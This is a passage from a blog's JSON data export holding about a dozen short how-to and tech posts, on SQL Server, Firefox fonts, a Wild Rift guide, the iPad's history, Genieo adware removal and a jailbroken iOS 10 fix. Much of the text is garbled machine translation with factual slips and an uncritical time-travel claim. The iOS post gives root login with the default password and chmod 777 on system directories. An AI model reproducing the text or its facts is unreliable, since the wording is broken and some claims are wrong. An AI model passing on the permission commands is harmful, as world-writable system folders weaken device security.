and this is the result after successful installation. So now you can use SQL Server through SSMS.\n  #3. Epilogue Yes, so in this article, I have successfully installed SQL Server with you and SSMS is a GUI tool that supports manipulating SQL Server. SQL Server is considered one of the most stable database management systems because it is backed by Microsoft.\nHope this article will be useful to you. See you in the next posts!\nMicrosoft SQL Server ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddnru0wMClo2almZi%2FsL%2FOn6tmq6GherSx0a%2Bcq2Wfo3q4tc2dprCrXWZ9\n","link":"/post/steps-to-install-microsoft-sql-server-on-windows-10/","section":"post","tags":null,"title":"Steps to install Microsoft SQL Server on Windows 10"},{"body":"After discovering some ancient statues in their hands that looked like modern handbags, conspiracyists believed it was evidence of time travel.\nRecently, the UFO Today website posted a video with a title that made many people curious: \"The secret of the handbag in the ancient stone carvings and statues, ancient alien origins? \" .\n  Some ancient statues hold in their hands that look like modern handbags.\nIn the video, many statues of gods, carvings of ancient nobility from Mesopotamia (Middle East region) to Mexico (South America), statues from the Sumerian, Phoenician, Assyria and Etrusca civilizations They hold a handbag with many similarities with modern women's bags today.\nMany people hypothesize whether these \"modern handbags\" are brought back to ancient times by time travelers or that what kind of alien technology has emerged since time immemorial. Whether that theory is true or not, this is still a mystery for scientists to explore in the future.\nThe missing plane returned after 35 years, a decade-long moment, . does \"time loophole\" really exist? 7 cases of \"cross-space\" mystery that science \"hands up\" ncG1vNJzZmismaXArq3KnmWcp51krq%2BvyJ6lrWWjqa61wcSsZKieXZy8pb%2BMoaalnF2ivKWx0adkoZmema%2Bis9JmnK%2BhlJq7pLGMqJ1mrKKWw6a4yKeeZqyYp7y2s8dmq6KllQ%3D%3D\n","link":"/post/ancient-statues-of-gods-hold-modern-handbags-evidence-of-traveling-through-time/","section":"post","tags":null,"title":"Ancient statues of gods hold 'modern handbags', evidence of traveling through time?"},{"body":"Using the Mozilla Firefox web browser you are not familiar with the default font of the browser or the default font size is too small or too large. To suit your needs, you can change the default font size and font on Firefox.\nThe following article will guide you how to change the size and font on Firefox.\nStep 1: Open the Firefox browser.\nStep 2: Select Tools -\u0026gt; Options . Or choose the Open Menu icon -\u0026gt; Options .\n  Step 3: In Options, select the Content tab .\n  Step 4: In Font \u0026amp; Colors, select Font in Default font and choose the size in Size, then select OK to save the default size and font.\n  From now on you can freely change the default size and font on your Firefox browser to suit you. Hope the article can help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZp6fo8Fuv8iznGannmKzqr7En6ax\n","link":"/post/change-font-size-on-firefox/","section":"post","tags":null,"title":"Change font size on firefox"},{"body":"The role of Baron Road in League: Wild Rift In Wild Rift, Baron Road is an alternative name for the Top Lane position of the PC version. This is the closest lane to the Baron cave, where the Gladiator and Tank champions have outstanding power. These generals often have ample stamina, decent damage, and impact on teamfights.\nA good Baron Lane player is someone who can control his lane consistently, at least without becoming a 'burden' to the team. At least until they get a teammate from the Jungle, and Mid lane comes to support for an advantage.\n  Good Baron Lane players often know how to suppress the enemy, gain a dominant advantage, thereby attracting the opponent's attention to reduce pressure on other lanes.\nTake the leading role in skirmishes, drawing damage from opponents. Secure Rift Herald, Baron. Can be teleported to other lanes to gank, looking for an extra advantage. Split push, put pressure on the map, attract attention from the opponent. Outstanding combat ability, is a formidable link in combat. Push the odd line Split pushing is an art that not all champions can perform effectively. Champions like Jax, Tryndamere, and Fiora can split push very well because of their abundant damage, mobility, and great 1-on-1 (even 1-on-2, 3).\n  When you notice that the enemy is distracted and moving to other lanes, quickly clear the minions and push to attack the enemy's turret. During split push, you need to pay attention to where the opponent moves, warding will help with this. If they tend to pull towards you to protect the Turret, immediately retreat to safety. At that time, teammates in other lanes will be relieved of pressure. It will be even better if you are confident in your skills and fight against enemy players. But measure yourself.\nHowever, remember: Split pushing does not mean giving up on teammates when they are in need of help in teamfights. Take advantage of the right time.\nHow to play Baron Street well Always try to play aggressively to get the advantage, overwhelm the opponent, make them not farm as many soldiers, have to return many times and lose EXP. Split pushing and successful 1v2 fights will provide you with outstanding income, be clever how to perform those two tasks. If not, just force the enemy to farm in the turret, that's your initial success.\nOn the contrary, if you are being pinched by the enemy, play it safe to earn gold and experience, avoid confrontation until the jungler comes to support.\n  In mass skirmishes, your task is to harass the enemy squad, be the leader of the battle. Collaborate with support champions and high damage champions in the team to wreak havoc on the enemy.\nIf your jungler is Tank or Support, you can wait for them to initiate the fight first, then follow in later.\nAlthough 'gross' is that, you still need to be clever and calculated enough to create the most harassment for the opponent, at least before sacrificing.\nCrafting for Top Lane generals The items you want to build will depend a lot on the situation and the type of champion you play. If you play Tank, you'll want to buy items that have a lot of health, armor, and magic resistance, depending on your opponent's strength.\nIf you're playing a typical Gladiator, you'll want to equip yourself with damage-providing items like the Black Ax, the Triple Sword, or the Dance of Death.\n  A great Top laner is always on target in the game. Even if you don't have a lot of profit from killing, you can still make an impact with split push and flexible movement. And don't forget, your presence in combat also has a great effect.\nWild Rift Alliance ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddpbmixcinnmasn6V6ra3NnmSbmaKku261zWauoqSUYr%2BqstNmo56Zl6qy\n","link":"/post/guide-to-playing-top-lane-baron-in-wild-rift-league/","section":"post","tags":null,"title":"Guide to playing Top lane, Baron in Wild Rift League"},{"body":"The iPad is now in its fifth generation, the iPad Air. During the three years since Steve Jobs's first Pad was introduced, we have seen the change of the world when talking about this model, from initial skepticism and decry to returning. form tablet tablet dominate the tablet market.\n  So why could the iPad be so successful while the previous tablets were almost completely failing, and what did the former CEO Steve Jobs do to help build that success? Wired has had a trip upstream to help us answer these questions.\nCreate the \"third category of equipment\" that the world needs: Wired started with the saying: \" The solution that Steve Jobs offers to deal with Android's everywhere strategy is simple and bold: he introduced the iPad .\" In fact, few previously thought that Apple would announce the iPad because seven years ago, Jobs himself told the Wall Street Journal that \"it turns out that users like keyboards . we looked at the tablet and thought it will fail \". But he clearly rethought this. If Google is going to win in the broadest way, Jobs wants to win the depth of the mobile market.\nAndy Rubin, the head of Android at the time, had the ambition of bringing Android to as many machines as possible, just like the Bill Gates strategy did with Windows. Rubin \" does not care what products will become big hits, what products are not \", as long as the total number of Android devices is growing, the Wired writes. As for Jobs and Apple's strategy, for iOS to grow in depth, every product that runs this OS is released has to be a hit, otherwise Apple will fail.\nWhile the characters both inside and outside Apple wondered if Jobs was wrong when he closed iOS too closely, as well as what he did with the Mac, Jobs actually closed his platform even further. Starting in 2010, Wired said that Jobs had asked to use a special screw in many Apple products to make it impossible for anyone who did not own a special screw. This may sound normal, but not for Silicon Valley employees. Jobs goes against the use of available snail standards, and of course is the complete opposite of Android's hardware and software flexibility.\nIt is possible that many people own Android phones rather than the number of people who are using the iPhone, but those who have iPhones will probably have more iPads, iPod Touches, Macs and a few other Apple products running together on a platform . They all connect to the same online content repository, and they all make huge profits for Apple. Only high-confidence people like Jobs dare to bet on this. Jobs launched the iPad as a way to help its customers complete the final piece of the hardware-software ecosystem they have.\nJust a few minutes after Jobs launched the first iPad on January 27, 2010, he made it clear to the world about the purpose of the iPad. In Jobs's presentation slide there is an image of an iPhone, a MacBook, and a question mark in the middle of the two products. He asked a brief question: \" Is there room for a third category of equipment in between? \" Then he said: \" Some people think it will be a netbook. The problem is that netbooks are not good at They work slowly, have a low quality screen, run heavy and old PC software (which is Windows), which is no better than laptops at all. \".\nAccording to Jobs and Apple, many people don't buy laptops to do the same things as office work such as writing, writing presentations, financial analysis with spreadsheets. They use their laptops mainly to communicate with others via email, chat, Twitter, Facebook, web browsing and reading, watching movies, listening to music, playing games. Jobs said that all of this can be done on the iPhone, but the iPhone's screen is too small to enjoy these things comfortably. You can also do it all with a laptop, but the keyboard and trackpad make the device bulky, the battery life is short, forcing you to sit close to the power outlet to charge the device.\nWhat the world needs is a middle device capable of combining the good of both - a device \" more familiar with a laptop, and having to do a lot more work than smartphones ,\" Jobs said. \" We think we have the answer, \" and the iPad image appears and fits between the iPhone and MacBook on the presentation slide.\n  In a long-running tablet, why is the iPad more successful? At the beginning, not many people felt attracted by the looks of the iPad. Instead, many people want to see whether the world's most talented entrepreneur, Jobs, is making a huge mistake. Tablets are one of the kind of consumer electronics devices that have been around for a long time but it has never been successful. Many people have tried to build tablets even before the PC was born. They tried many times in the murmur that tablet popularity was impossible.\nAlan Kay, who worked for Xerox PARC , launched the idea of ​​a Dynabook tablet in 1968. Apple himself created a tablet prototype called \" Bashful \" in 1983 but never debuted. it. The first tablet really caught the attention of consumers from Jeff Hawkins, who was behind the PalmPilot. He built the GRIDPad, a tablet that uses a pen with the same variety of computer capabilities, in 1989. By 1993, the company GO Corp. Continuing the tablet career with the EO but also did not cause any strong wave.\n  GRIDPad\nBy 1994, Apple launched the Newton , but unfortunately, this is an explanation for the tablet can not sell well. It was also a symbol of the era of Apple not under the leadership of Jobs, the era in which Apple was almost bankrupt with a series of failed products. In 1997, Jobs returned to his company, and one of the things he removed immediately was the Newton project. At that time, if you like something with the power of a computer but you have to be compact, please buy a laptop. All other things that serve the same purpose are too expensive.\n  Apple Bashful\nGo back to the PalmPilot, the PDA model once famous and used by many people even in Vietnam, which was successful in the late 1990s because it didn't try to do too many things. PalmPilot only serves complementary features with its own name - a small assistant device.\nThe most recent attempt to enter the tablet market was Bill Gates when he was CEO of Microsoft in 2002. Many Windows tablets appeared from many different companies. They are also bought by many people, but they are not popular consumers. Until 2009, the tablet was still on sale, but no device really captured the world.\nAll of these things make the tablet a high-risk thing, even for Jobs, in the context of Android's fierce competition with iOS. But it is also the perfect challenge for Jobs to settle. He was the one who redefined personal computers, redefining personal music players and smartphones. Now Jobs really redefined the tablet with the iPad.\nIt can do almost anything a laptop can do, while much lighter, battery life is almost triple. Not to mention the iPad has a touch screen like the iPhone, no need to turn off and always connect to the Internet. On the consumer side, they don't have to learn anymore because iPhones and touch-sensitive smartphones have many markets, not to mention that the iPad's software and applications are similar to the iPhone.\nTechnically, we can see the iPad as an iPhone. Similar hardware, similar configuration, software is similar to notes. But the difference between them is the user experience, and this difference is huge. The phone has been designed to fit in users' pockets and can be controlled by fingers.\nBig things like the iPad used to require using a pen or mouse or keyboard, not with the user's finger. Series of Windows tablets in 2009 and 2010 still require using stylus to input data. At the 2010 launch, former iOS team leader Scott Forstall said, \" If you see something, you just need to touch your finger. It's completely natural, you don't need to think about it. You go on but do . \"\nEveryone's reaction to the iPad was \" oh \" and \" ah \". The Economist once put Jobs as a saint holding an iPad with the title \" The Book of Jobs: Apple's hopes, hype and iPad . \"\nBut why are people so skeptical at the beginning? As the father of the Macintosh , Jobs has \"more credibility \" than anyone else in redefining the PC and challenging rumors around the tablet. An anonymous friend of Jobs told The Wired: \" Steve hates the fact that the Macintosh does not become popular - that people are not willing to sweat to get one. So we talked a lot. How to look at people wants to have an iPad now \".\n  In contrast, the reaction of the early days after the iPad appeared was not particularly special, or it could be said that many people were still indifferent to it. There are many articles about the iPad without a camera, unable to run multitasking ( with iOS 3 at the time ), even stating that the iPad is the name of a product for women. There are also many people who say the iPad is like iPhone, which is four times bigger. Jobs said, \" I'm not commenting on the competitor's product ,\" and jokingly, president Eric Schmidt, \" you'll have to tell me the difference between a big phone and a tablet .\" Microsoft's Bill Gates said, \"I still think that the combination of real voices, pens and keyboards will become popular. The iPad is a good reading tool, but there's nothing on the iPad that I look at. enter and wish that Microsoft should do it \".\nBut the biggest criticism is actually what Jobs talked about in his presentation: Why do I need an iPad? The skepticism from everyone is understandable because no one has ever seen an iPad-like device in the first, sold two months later. Users know what they need phones and laptops to do because they have been around for a long time, while tablets already on the market now are not what users want.\nEven those who work with the iPad in Apple are cynical, such as former engineer Jeremy Wyld. He has contributed to developing software for iPad and iPhone. \" I remember that when I first saw it, I thought it was like a stone, telling you the truth. I think 'This is very stupid' \" Wyld said so, because he was also one of the the first to create the Apple Newton in the 1990s.\nWhen Wyld looked at the iPad, all he saw was a bigger iPhone and no longer fit in your pocket. \" I often find that when you do something bigger, people don't like it anymore .\" But Wyld also looked at the iPad and found that this is really a new type of laptop. Making a big screen is all Apple needs to create such a new and powerful device.\nThe big screen is also important for Joe Hewitt, the programmer wrote the Facebook application for iPhone in 2007 and helped build the Firefox browser in 2002. One day after the iPad's launch, Hewitt wrote a My blog post is 900 to say that the iPad is the most important thing Apple has ever done. A year earlier, Hewitt was a strong objector to Apple's closed application policy, but his software development experience for various devices and platforms told Hewitt that the iPad would work out. a basic problem.\n  He said:\nI spent a year and a half to cut a massive and complex social networking site and make it something that can be used on phones with touch screens. My original goal was to create a mobile version to accompany my mother's facebook.com ship, but when I got used to the iPhone, I was convinced that I could create a better version of the website! Of all the platforms that I have written for my entire career, from the desktop to the web, iPhone OS gives me the best power and has a very high ceiling to enhance the art of interface design. The only thing preventing me from reaching this ceiling: the iPhone's screen is too small. The iPad is an incredible opportunity for programmers to re-imagine every kind of desktop software and web platform. In general, many apps that look like toys on the iPhone can become a powerful and full-featured tool on the iPad, making you forget about predecessors desktop and laptop. We just need to create it.\nJourney into the center of the mobile device universe: Unlike the extremely fast development of the iPhone, the iPad's journey dates back to the 2002s, according to Jobs saying Isaacson's pen when writing about his biography. The opposite happened during the Apple design iPad. The most technically difficult thing is the multi-touch screen, which is the farthest thing, while the easiest thing to think about is the design of the rest of the machine, which is seriously stuck. .\nOne of those who created \" traction \" for the development of a multitouch touchscreen is Josh Strickon. He used to make a multitouch screen in raw form for his master's thesis at the famous MIT. In 2003, Josh and Steve Hotelling and Brian Huppi ( two Apple employees ) found a way to make this technology better. The design team for this project, called the Q79 group, wants to get $ 2 million in investment from Apple\nAt that time, a large board of 60 x 60cm size was responsible for ordering the screen to respond to finger touch. The task of Q79 is to make these bulky items into a single chip that can fit in a mobile device. The performance of the group went well, and the group even showed how the virtual keyboard works, how the finger-opening operations will work. Finally the project was approved by Apple.\nThe problem is that the other hardware components of the tablet are useless. Years ago, microprocessors used in mobile devices were not strong enough to run a software that could appeal to users. The tablet also needed hard disks, which took up too much space, because high-capacity flash memory was too expensive. If all these technologies are gathered, we can only create something that is not much lighter than a laptop, not much cheaper, and the battery is not impressive. So Apple decided to abandon this project, then a few years later Jobs restored it to make the iPhone. Only when the iPhone was launched in 2007 did Jobs reconsider the tablet business.\nIn other words, without the iPhone, the iPad will not exist, but the iPad project is the iPhone's most original source. In 2007, if you sold a device for $ 600, it was almost impossible. ARM chips are not strong enough to run software on such a large screen. In addition, more importantly, if there is not enough content and applications, users do not know what to do with the tablet they are holding.\nBut by 2009 the technology was ready for tablets. Finally, the world has had chips with good bandwidth, good processing power, and people have also created long-lasting batteries to make the tablet really useful. The multitouch screen has proved extremely successful on the iPhone, so the idea of ​​using a virtual keyboard to write email or write a web address is no stranger. Because Apple sold a lot of iPhones, the price of components also dropped to a more acceptable level.\nWill the iPad be an enlarged iPhone or something completely different? What question left Jobs to answer in 2009 is what tablet would he want to be a device? Is it an iPhone with a big screen or does it need a separate app store to separate it to make something new and completely different? Jobs was initially inclined to make the iPad a big iPhone. Jobs simply thought this was a consumer device, according to an anonymous friend. You also won't be able to edit any document or spreadsheet on it, even this friend is afraid that the iPad will turn into a device primarily for reading and browsing like the Kindle model. At the time, Jobs thought people were reading less and less, and those who liked reading were still more likely to have a paper book in hand than an ebook.\nEddy Cue, vice president of iTunes, and Phil Schiller, head of Apple's global marketing team, are two of the important people helping Jobs clarify the question. Schiller urged Jobs to correct his view of a \"consumer device . \" If someone sends you a document, a presentation, or a spreadsheet, iPad users need to see and edit it. Meanwhile, Cue wants to change the ebook of Jobs CEO. Amazon Kindle is in great power, readers are downloading ebooks with fast speed. Cue said in June this year that when he discussed Jobs with an ebook, Jobs said \" you know, I think you're right . \". Jobs then began to think about the ideas for developing the iPad better in the direction Eddy Cue and Phil Schiller suggested.\n  Cue said that the curvature effect when turning pages in the iBook application was Jobs's idea. The free Winnie-the-Pooh book included with iBooks was also suggested by Jobs because he thought it would show the full potential of this reading app.\"It has beautiful and colorful drawings, but no e-book or reading device is available .\"\nAnd the success of the iPad When the first iPad sold in April 2010, it was clear that the world's doubts were not correct. Apple sold 450,000 iPads in its first week, 1 million units after the first month and 19 million units in the first year. It took Apple 6 months to catch up with the speed of buying customers' iPads, and in 2011 the iPad took over the best-selling electronic device of the DVD player.\nWithin a year of the iPad's launch, Jobs was also worried about Android's growth. In the period 2009-2010, Android kept growing rapidly, fortunately, iPhone sales also increased so fast. In 2011, Apple earned $ 33 billion, with Google and Microsoft revenue combined, and became the world's largest value company, more than Exxon oil magnate. A year earlier, the company surpassed Microsoft to become the world's largest technology company. Apple's value was then $ 100 billion and if Apple used that money to open a bank, it would become one of the ten largest banks in the world.\nNotably, around mid-2011, the iPad has become an innovative device even more than iPhone and iPod. iPod and iTunes have changed the way people buy and listen to music, the iPhone changes what users expect in a modern smartphone. As for the iPad, it overturned all five industries at the same time: it changed the way people buy books, newspapers, magazines, change the way people watch movies and watch TV.\nMeanwhile, Google's Android group decided to fight mercilessly any new invention of the apple. But in 2011, Google was still defeated by Apple in many ways. It is true that there are more Android users than the iPad users plus the iPhone, but the Apple devices are still better, the Apple platform is still superior and especially the number of applications optimized for Apple tablet is complete. all crushed on the Android side. Until now, Google is also putting a lot of effort into developing the real tablet version for their application.\nConclusion Beyond all that, the iPad has once again changed the business of personal computing devices. iPads in particular and tablets in general are grabbing PC market share as well as how the PC took over the minicomputer / mainframe market share in the 1980s. As Jobs predicted, many users have used iPads as a device. third computer next to phones and laptops. Some people don't even buy laptops, and that's the iPad's success. Today the iPad's market share has decreased but it is still the popular tablet with a market share of 30% globally.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2gnWWjqbK3sYyjppurXZm8bsDOZp%2BepKBitrGtw2aqrpuTmrKl\n","link":"/post/how-did-steve-jobs-do-to-help-ipad-succeed/","section":"post","tags":null,"title":"How did Steve Jobs do to help iPad succeed?"},{"body":" Converting .doc, .docx, or .odf files to HTML is easy to do, but there's no single perfect method for accomplishing this task. If you want to create a web page that will load quickly and display consistently on all browsers, use an online...\nMethod 1of 2:\nUsing Online Tools or Software  Use a simple online tool. One of the quickest, easiest options is to copy-paste your Word document into TextFixer's converter, or upload it to Online-Convert.com. These free tools quickly create a version of the document into HTML, but some of your formatting may be lost.\n  Use a tool with more options. If you'd like more conversion options, or you don't like the results from the tools above, one of these other free online tools might have what you're looking for: Word2CleanHTML strips most of the formatting from the document, to make an HTML document that follows best web developer practices.[1] It also offers several options for how to make specific converting decisions, such as how to handle non-standard characters or empty paragraphs. ZamZar.com's converter allows both ordinary html5 conversion, and conversion to the deprecated html4 format, which will still work on most browsers and may be more familiar for some users. This tool requires an email address to use. wordtohtml.net like the other online converters Word to HTML lets you paste your text and get an instant conversion. In addition to the normal features it also offers control over what content to remove (images, tables etc.). It also offers the option to use advanced find and replace commands, as well as regular expression support.   Use Google Drive. This may be a good option if you are working on a Word document collaboratively, so you can share the document with collaborators, then invite them to follow this step to see the exact HTML document you're converting to:[2] Sign in to a Google account at Google Drive. Click the red Create button, then select Document. Copy-paste your Word document into the blank Google Drive document. Use Google Docs menu to select File → Download as → web page.   Use more advanced software for large jobs. If you have to convert hundreds of files to HTML, use commercial software that can convert them all at once. Here are a couple options that have free trials available: Word Cleaner - desktop, online or component version NCH Doxillion - desktop version for Windows \u0026amp; OSX  Method 2of 2:\nUsing Word's Built-in Converter  Open the document in Microsoft Word or OpenOffice. Word has the built-in ability to convert documents into HTML format. The result is usually bulkier than a standard HTML page, and may contain formatting that does not work on all browsers. For example it does not use the standard HTML list tags for lists, instead it relies on heavy use of CSS to style documents. [3] It will, however, still contain formatting information that can be used to convert it back into an ordinary Word document for later editing.\n  Select \"Save As.\" Go to the File menu and select \"Save As.\" On some versions of Word, such as Word 2012, the Save As option is found under the \"Home\" button instead.\n  Choose \"Web Page.\" Once you select \"Save As,\" you'll be taken to screen with a drop-down menu, listing the types of file formats you can save as. Select \"Web Page\" to save it as an HTML file. If you cannot find this option, edit the file name by adding your own .htm or .html extension, then surrounding the file name with quotation marks: \"ExampleFile.html\".   Save it as \"Web Page, Filtered\" if available. On some versions of Word, you can save it as a \"slimmer\" HTML file that looks the same, but will load faster as a web page. If you do not plan to convert the document back to a Word file again later, select \"Web Page, Filtered\" instead. If this options is not available in your software, save it as a normal \"Web Page,\" then use AlgoTech's Mess Cleaner tool online to convert to a slimmer HTML file.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGavn6exbrDOnKymnZ6perW7jKGrpqQ%3D\n","link":"/post/how-to-convert-a-word-document-to-html/","section":"post","tags":null,"title":"How to Convert a Word Document to HTML"},{"body":"Many images inserted in PowerPoint need attribution, the author is copyrighted, or you need to add information to the image to let the viewer know, then we will need to create citations for the image inserted in the slide.\nInserting citations in an image is completely different when we insert citations in Word, when you already have the option to insert citations into your document. With PowerPoint, you need to use another tool when there is no option to insert citations. The following article will guide you how to create image citations in PowerPoint.\nGuidelines for citing images in PowerPoint Step 1:\nWe insert images into PowerPoint as usual. Next, click on the Text box and draw a text box directly below the image .\n  Step 2:\nEnter the quote text in the text box you created. Then we adjust the format , font, font size, font color as usual.\n  Step 3:\nSo you have inserted the citation for the image. In addition, you should also combine images and citations into a group to facilitate moving or performing operations, copy, cut or resize photos. The operation is then performed simultaneously.\nWe press Ctrl key and then click directly on the image and the created quote . Then right-click and select Group then select Group to group 2 objects together.\n  If you do not want to group 2 more objects, then right-click and select Ungroup is done.\n  See more:\nHow to integrate pictures into text in PowerPoint How to make applause in PowerPoint ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYycoK2ZpJ68r7%2BMn6arZaCdvLW70magp2WgpMSmvs%2BooKes\n","link":"/post/how-to-create-citations-for-photos-in-powerpoint/","section":"post","tags":null,"title":"How to create citations for photos in PowerPoint"},{"body":"This wikiHow teaches you how to remove Genieo, which is a browser hijacker, from your computer and its installed browsers. Once you've deleted Genieo from your computer itself, you can safely disable it in any of your computer's browsers...\nMethod 2of 7:\nUninstalling Genieo on Mac  Consider using a Genieo removal tool. Removing all of Genieo's files can be tedious and, if improperly executed, dangerous for your computer. You can easily remove Genieo by downloading and running the Adware Removal Tool from Bitdefender: Go to https://www.bitdefender.com/solutions/adware-removal-tool.html in your browser. Click Free Download. Double-click the setup folder that downloads to unzip it. Double-click the program's app icon. Follow the installation prompts. Run the installed Adware Removal Tool. Follow any program prompts.   Quit Genieo. Click the Genieo icon in the upper-right section of the menu bar, then click Quit in the resulting drop-down menu. If this doesn't cause Genieo to quit, do the following to force-quit it: Click the Apple menu  . Click Force Quit.... Select Genieo. Click Force Quit, then confirm the decision if prompted.   Close any open web browsers. If you have any web browsers in which Genieo is active, close them before continuing. You may have to force-quit these as well.   Open   Finder. Click the Finder app icon, which resembles a blue smiley face, in your Mac's Dock.   Search for the \"launchd.conf\" file. Click the Finder search bar at the top of the window, then type in launchd.conf there.\n  Set Finder to display system files. Since \"launchd.conf\" is a system file, you'll need to do the following to prompt it to display in the Finder window: Click the \"Kind\" drop-down box. Click Other.... Check the \"System files\" box. Click OK. Click the drop-down menu next to \"System files\", then click are included.   Move the \"launchd.conf\" file to the Trash. Click and drag this file onto the Trash can icon in the far-right corner of the Dock, then release it there. You may have to enter your Mac's Administrator password before proceeding.   Use the \"Go to Folder\" feature to delete other Genieo files. Click Go at the top of the screen and click Go to Folder, then go to each of the following folders in the \"Go to Folder\" text box and move the necessary file to the Trash:[1] /Applications — Move \"Genieo\", \"InstallMac\", \"Uninstall Genieo\", and \"Uninstall IM Completer\" to the Trash. ~/Library/Application Support — Move \"com.genieoinnovation.Installer\" and \"Genieo\" to the Trash. ~/Library/LaunchAgents — Move \"com.genieo.completer.download.plist\", \"com.genieo.completer.update.plist\", \"com.genieoinnovation.macextension.plist\", \"com.genieo.engine.plist\", and \"com.genieo.completer.update.plist\" to the Trash. /Library/LaunchDaemons — Move \"com.genieoinnovation.macextension.client.plist\" to the Trash. /Library/PrivilegedHelperTools/ — Move \"com.genieoinnovation.macextension.client\" to the Trash. /usr/lib — Move \"libgenkit.dylib\", \"libgenkitsa.dylib\", \"libimckit.dylib\", and \"libimckitsa.dylib\" to the Trash.   Empty the Trash. Click and hold the Trash icon, click Empty Trash, and confirm the decision when prompted.\n  Restart your computer. Click the Apple menu  , click Restart..., and click Restart when prompted. Genieo should now be gone from your computer, meaning you can safely change your browsers' search settings without Genieo changing them back.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYygnKehlaQ%3D\n","link":"/post/how-to-delete-genieo/","section":"post","tags":null,"title":"How to Delete Genieo"},{"body":"Guide you to read how to delete search history in Google Chrome browser on your computer.\nDownload Google Chrome for Windows Download Google Chrome for iOS Download Google Chrome for Android Download Google Chrome for Mac Most people spend a lot of their time online searching for information on Google, sometimes searching for answers about personal issues that you might not want anyone else to see. However, all you search on Google is saved and tracked by Google. The information Google collects from your account will be stored on the Google History page, not on the browser.\nSo if you just delete the search history on the browser and the royal road shutdown goes to sleep, you have committed a fatal mistake.\n  If this bothers you and you want to prevent others from using your computer or borrowing a phone to do a Google search and can see those searches, you can intervene. to delete them.\nStart, visit the Google history page on the browser from this link. If not logged in, proceed to log in to your account.\n  After logging in, you will be taken to the Google History page. Here you will see a list of your own keywords and search charts using Google. To clear all search history, highlight and click the Remove items button.\n  If you do not want to delete all but simply choose to clear your search history at previous times, click Older.\n  If you want to clear your search history by a specific time, click the settings icon and select Remove Items.\n  A dialog box appears. Please select the timeline you need to delete and click Remove to proceed.\n  In addition, you can choose to view the data that Google collects from you through Chrome and the applications you have installed by clicking on the ' additional Web \u0026amp; App Activity ' line.\n  If you don't want Google to continue saving your search history, you can turn it off completely by visiting Settings.\n  You will be taken to the Account history page. Here, click the Pause button ( Pause ).\n  The confirmation dialog will appear, please read the content carefully and if you agree, press Pause again.\n  That's it, if you need to re-activate, you just need to access the above and click Turn on is okay.\n  Pretty simple, isn't it?\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysnJqqk516o77OsKqippditaq%2F06ipsmWZo3qou86go55lk52%2FsLnE\n","link":"/post/how-to-delete-search-browsing-history-in-google-chrome/","section":"post","tags":null,"title":"How to delete search browsing history in Google Chrome?"},{"body":"A new problem arises for those who have conducted jailbreaking their iOS 10 device is faulty mobile data (3G, 4G or LTE). Besides services like iMessage and Facetime also have problems, sometimes can not use and do not work. Since this is only a trial version, the features have not yet been finalized and some of the above errors arise. If you set your iPhone / iPad iOS 10 to jailbreak and meet the mobile data error status, iMessage and Facetime errors can refer to the tutorial below.\nHowever, before doing so, please switch back to the English keyboard to make it easier to implement.\nStep 1: First of all on the device we need to download Tweak MTerminal and Open SSH from BigBoss source .\n   Step 2: Next, select Settings\u0026gt; WiFi\u0026gt; select the network you are accessing and click on the extension (i) . This takes the IP address of the WiFi network we are connecting to. Copy the IP address in the first line.\nStep 3: We open MTerminal then type the keyword SU and press Enter . Soon you will be asked to enter your password so you can continue. We type alpine then press Enter .\nStep 4: Next, type ssh root @ [address_IP] and then click Enter . If asked to enter a password , we will fill out alpine . Next you will type the commands as shown below:\nchmod 777 / var\nchmod 777 / var / mobile chmod 777 / var / mobile / Library chmod 777 / var / mobile / Library / Preferences\n  Step 5: Finally we need to restart the device to fix the error effectively.\n  Above is a guide on how to fix errors related to mobile data, iMessage and Facetime does not work on iOS 10 Beta jailbroken. During implementation, always open mach_portal application. If your device has no stutter, lag or start up, we just need to press the Power key + Home button with iPhone 6s devices or below. With iPhone 7, you will press the Power + Volume Down button.\nRefer to the following articles: Complete how to fix Wifi error on iOS Home button on iOS 10 device slowly responds, this is how to fix errors Fix iPhone phone keyboard error running iOS 10 almost \"freeze\" I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXquu8Gio55llJbBonnEq6moqqNitq6x0qyYoJ1dlrulecWamp6smaKybrXOrGRqaF2XsrWtjKOYoqSSp7Kitw%3D%3D\n","link":"/post/how-to-fix-mobile-data-errors-imessage-and-facetime-ios-10-beta-jailbreak/","section":"post","tags":null,"title":"How to fix mobile data errors, iMessage and Facetime iOS 10 Beta Jailbreak"},{"body":"People are no stranger to the events in PUBG Mobile that developers bring to players. The most prominent event this time is probably the Winter Festival - Winter Festival.\nThrough the activities in this event, gamers will receive exclusive gift items such as Skin or its own costume. And this time, the special item that PUBG Mobile gives gamers will be the AKM Silver Bullet skin.\nTo get this skin for free, you just need to collect all the parts of the weapon and assemble them completely to pair into AKM Silver Bullet. Follow the instructions below to get the free AKM Silver Skin skin in PUBG Mobile.\nInstructions for getting Skin AKM Silver Bullet Step 1: First, log into the game, then join the Classic mode (Ranking) to receive random components. The higher the rank, the more rare it will be. You can go to the event section in the main interface to see the details.\n  Then select the AKM Silver Bullet skin as shown below.\n  To change parts, click on Parts store .\n  This will be a component store where you can use Spare Parts Coins in exchange for parts. If there are duplicate components, they will automatically be changed to Xu Components.\n  During the event, if the AKM Silver Skin Skin expires, you can still change it to continue using it without having to collect components. You can only receive up to 10 components per day.\nAfter the event is over, the spare component Coins will automatically be converted to BP. Items in the Components shop can only be purchased once. The items are refreshed for free once a day, if you want to refresh manually, you can spend money to do.\nIf after the event has ended, you have collected enough components but not activated yet will still receive AKM Silver Bullet skin. Gifts will be sent via in-game mailbox.\n9 locations appear helicopters in Firepower mode PUBG Mobile What type of gun is most effective when destroying armored vehicles BRDM-2 How to get free Victor characters in PUBG Mobile ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqit8xmqqKkppq%2Fbq7UpaOerF2lwqOzjKamm6Gcmnq0t8in\n","link":"/post/how-to-get-akm-silver-bullet-pubg-mobile-skin/","section":"post","tags":null,"title":"How to get AKM Silver Bullet PUBG 